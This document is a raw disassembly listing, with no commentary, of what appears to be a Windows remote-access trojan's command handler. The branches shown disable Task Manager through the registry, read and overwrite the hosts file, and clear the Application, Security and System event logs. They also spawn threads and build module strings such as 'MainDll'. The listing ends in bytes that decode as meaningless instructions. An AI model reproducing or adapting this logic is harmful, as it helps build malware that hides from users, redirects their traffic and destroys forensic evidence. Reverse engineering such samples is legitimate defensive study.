mov dword [0x451d0c], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp case.0x40a47c.2
push 0
push 0
push 0
push 0x409ae0
push 0
push 0
mov dword [0x451d08], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp case.0x40a47c.2
push 0
push 0
push 0
push 0x409b80
push 0
push 0
mov dword [0x451d00], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp case.0x40a47c.2
push 0
push 0
push 0
push 0x409b30
push 0
push 0
mov dword [0x451d04], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp case.0x40a47c.2
push 0x44a464
call fcn.00422f39
add esp, 4
mov dword [ebp - 0xd28], eax
lea eax, [ebp - 0xd24]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne case.0x40a47c.2
push 4
lea eax, [ebp - 0xd28]
push eax
push 4
push 0
push str.DisableTaskMgr
push dword [ebp - 0xd24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0xd24]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp case.0x40a47c.2
push 0x4494ec
call fcn.00422f39
add esp, 4
mov dword [ebp - 0xd28], eax
lea eax, [ebp - 0xd24]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne case.0x40a47c.2
push 4
lea eax, [ebp - 0xd28]
push eax
push 4
push 0
push str.DisableTaskMgr
push dword [ebp - 0xd24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0xd24]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp case.0x40a47c.2
mov edx, ecx
mov ecx, esi
call fcn.00409bd0
jmp case.0x40a47c.2
mov esi, dword [sym.imp.USER32.dll_BroadcastSystemMessageA]
push 0
push 2
push 0x10
push 0
push 2
call esi
push 0
push 2
push 0x10
push 0
push 4
call esi
push 0
push 2
push 0x10
push 0
push 8
call esi
push 0
push 2
push 0x10
push 0
push 0x20
call esi
push 0
push 2
push 0x10
push 0
push 0x30
call esi
push 0
push 2
push 0x10
push 0
push 0x40
call esi
push 0
push 2
push 0x10
push 0
push 0x80
call esi
push 0
push 2
push 0x10
push 0
push 0x100
call esi
push 0
push 2
push 0x10
push 0
push 0x10
call esi
jmp case.0x40a47c.2
push 0x201
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
mov dword [ebp - 0x2cc], 0
xorps xmm0, xmm0
mov dword [ebp - 0xd28], esi
movups xmmword [ebp - 0x2dc], xmm0
mov dword [ebp - 0x2c8], 0xf
mov byte [esi], 0xcf
mov dword [ebp - 0x18], 0x652e5151
mov word [ebp - 0x14], 0x6578
mov byte [ebp - 0x12], 0
mov dword [ebp - 0x28], 0x2e4d4954
mov dword [ebp - 0x24], 0x657865
mov byte [ebp - 0x2dc], 0
lea eax, [ebp - 0x18]
mov dword [ebp - 4], 0x10
push eax
call fcn.004041e0
test eax, eax
je 0x40cb7d
lea ecx, [ebp - 0x18]
jmp 0x40cb8d
lea eax, [ebp - 0x28]
push eax
call fcn.004041e0
test eax, eax
je 0x40cb98
lea ecx, [ebp - 0x28]
lea edx, [ebp - 0x588]
call fcn.00405f00
lea edi, [esi + 1]
mov ecx, 0x80
lea esi, [ebp - 0x588]
rep movsd dword es:[edi], dword [esi]
mov esi, dword [ebp - 0xd28]
push esi
call dword [sym.imp.KERNEL32.dll_LocalSize]
mov ecx, dword [ebp - 0xd38]
push eax
push esi
call fcn.004111e0
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp case.0x40a47c.2
push 0x104
lea eax, [ebp - 0x12c]
push 0
push eax
call fcn.0041cce0
add esp, 0xc
lea eax, [ebp - 0x12c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.GetNativeSystemInfo
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40cc4f
lea ecx, [ebp - 0x2e8]
push ecx
call eax
mov ax, word [ebp - 0x2e8]
cmp ax, 9
je 0x40cc31
cmp ax, 6
jne 0x40cc4f
lea edi, [ebp - 0x12c]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40cc38
mov ecx, 7
mov esi, str._sysnativedriversetchosts
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
jmp 0x40cc6a
lea edi, [ebp - 0x12c]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40cc56
mov ecx, 7
mov esi, str._system32driversetchosts
rep movsd dword es:[edi], dword [esi]
push 0x80
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push 0
push 4
push 0
push 1
push SysReAllocString
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xd28], eax
cmp eax, 0xffffffff
je case.0x40a47c.2
push 0
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
lea ecx, [esi + 2]
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push 0
mov edi, eax
lea eax, [ebp - 0x14]
push eax
push esi
mov esi, dword [ebp - 0xd28]
lea ecx, [edi + 1]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x40ccef
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp case.0x40a47c.2
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
mov byte [edi], 0xdc
call dword [sym.imp.KERNEL32.dll_LocalSize]
mov ecx, dword [ebp - 0xd38]
push eax
push edi
call fcn.004111e0
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp case.0x40a47c.2
push 0x104
lea eax, [ebp - 0x12c]
push 0
push eax
call fcn.0041cce0
add esp, 0xc
lea eax, [ebp - 0x12c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.GetNativeSystemInfo
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40cd9a
lea ecx, [ebp - 0x2e8]
push ecx
call eax
mov ax, word [ebp - 0x2e8]
cmp ax, 9
je 0x40cd7c
cmp ax, 6
jne 0x40cd9a
lea edi, [ebp - 0x12c]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40cd83
mov ecx, 7
mov esi, str._sysnativedriversetchosts
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
jmp 0x40cdb5
lea edi, [ebp - 0x12c]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40cda1
mov ecx, 7
mov esi, str._system32driversetchosts
rep movsd dword es:[edi], dword [esi]
push 0x80
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push 0
push 2
push 0
push 2
push 0x40000000
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je case.0x40a47c.118
push 0
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0xd20]
push dword [ebp - 0xd2c]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x98d
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
lea ecx, [ebp - 0xd14]
mov dword [ebp - 0xd28], esi
mov byte [esi], 0xdd
call fcn.00407460
lea edi, [esi + 1]
mov ecx, 0x263
lea esi, [ebp - 0xd14]
jmp 0x40cba6
mov edx, ecx
mov ecx, esi
call fcn.004081c0
jmp case.0x40a47c.2
movzx ecx, byte [esi + 1]
call fcn.00403fa0
jmp case.0x40a47c.2
push 0x400
lea eax, [ebp - 0x788]
inc esi
push 0
push eax
call fcn.0041cce0
push 0x4533c8
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0x6e69614d
push eax
lea eax, [ebp - 0x788]
mov dword [ebp - 0x18], 0x5c6c6c44
push eax
mov word [ebp - 0x14], 0x7325
mov byte [ebp - 0x12], 0
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
push 0
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push ecx
push 0x44a520
lea edx, [ebp - 0x788]
mov ecx, SysReAllocString
call fcn.00413540
add esp, 0x14
jmp case.0x40a47c.2
push 0x400
lea eax, [ebp - 0x788]
inc esi
push 0
push eax
call fcn.0041cce0
push 0x4533c8
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0x6e69614d
push eax
lea eax, [ebp - 0x788]
mov dword [ebp - 0x18], 0x5c6c6c44
push eax
mov word [ebp - 0x14], 0x7325
mov byte [ebp - 0x12], 0
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
push 0
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push ecx
push 0x4494c8
jmp 0x40ceb2
lea ecx, [esi + 1]
mov edx, 1
call fcn.00409c10
jmp case.0x40a47c.2
lea ecx, [esi + 1]
xor edx, edx
call fcn.00409c10
jmp case.0x40a47c.2
push 0x400
lea eax, [ebp - 0x788]
inc esi
push 0
push eax
call fcn.0041cce0
lea eax, [ebp - 0x788]
push str.MainDllClore
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
push 0
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push ecx
push 0x44a568
jmp 0x40ceb2
push 0x400
lea eax, [ebp - 0x788]
inc esi
push 0
push eax
call fcn.0041cce0
lea eax, [ebp - 0x788]
push str.MainDllClore
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
push 0
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push ecx
push 0x44a570
jmp 0x40ceb2
mov eax, dword [edi + 4]
inc dword [eax + 0x50]
jmp case.0x40a47c.2
call fcn.0040d490
jmp case.0x40a47c.2
movzx eax, byte [esi + 1]
dec eax
mov dword [ebp - 0x1c], str.Application
mov dword [ebp - 0x18], str.Security
mov dword [ebp - 0x14], str.System
cmp eax, 3
ja case.0x40a47c.2
jmp dword [eax*4 + 0x40d294]
mov dword [ebp - 0x14], 0x44aace
jmp 0x40d020
mov dword [ebp - 0x1c], 0x44aace
mov dword [ebp - 0x14], 0x44aace
jmp case.0x40cff9.1
mov dword [ebp - 0x1c], 0x44aace
mov dword [ebp - 0x18], 0x44aace
xor esi, esi
nop dword [eax]
push dword [ebp + esi*4 - 0x1c]
push 0
call dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
mov edi, eax
test edi, edi
je 0x40d052
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
inc esi
cmp esi, 3
jb 0x40d030
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00419df9
mov esp, ebp
pop ebp
ret 8
push 0x80004005
call fcn.00410df0
push 0x80004005
call fcn.00410df0
call fcn.00404130
push 0x80004005
call fcn.00410df0
push 0x80004005
call fcn.00410df0
call fcn.0041fc65
call fcn.004041d0
call fcn.00406660
nop dword [eax]
ror edi, 0x40
add byte [ecx], bl
int 0x40
add byte [edx - 0x6affbf5a], bh
cmpsd dword [esi], dword es:[edi]
inc eax
add al, ch
test eax, 0xa8280040
inc eax
add byte [ebp - 0x57], dl
inc eax
add byte [edx + 0x150040aa], al
stosd dword es:[edi], eax
inc eax
add byte [eax + 0x420040ab], ch
lodsb al, byte [esi]
inc eax
add ch, dl
lodsb al, byte [esi]
inc eax
add byte [ebx], dh
scasb al, byte es:[edi]
inc eax
add dh, al
scasb al, byte es:[edi]
inc eax
add byte [ecx - 0x51], bl
inc eax
add dl, dh
scasd eax, dword es:[edi]
inc eax
add byte [ebp + 0x180040b0], al
mov cl, 0x40
add dh, cl
retf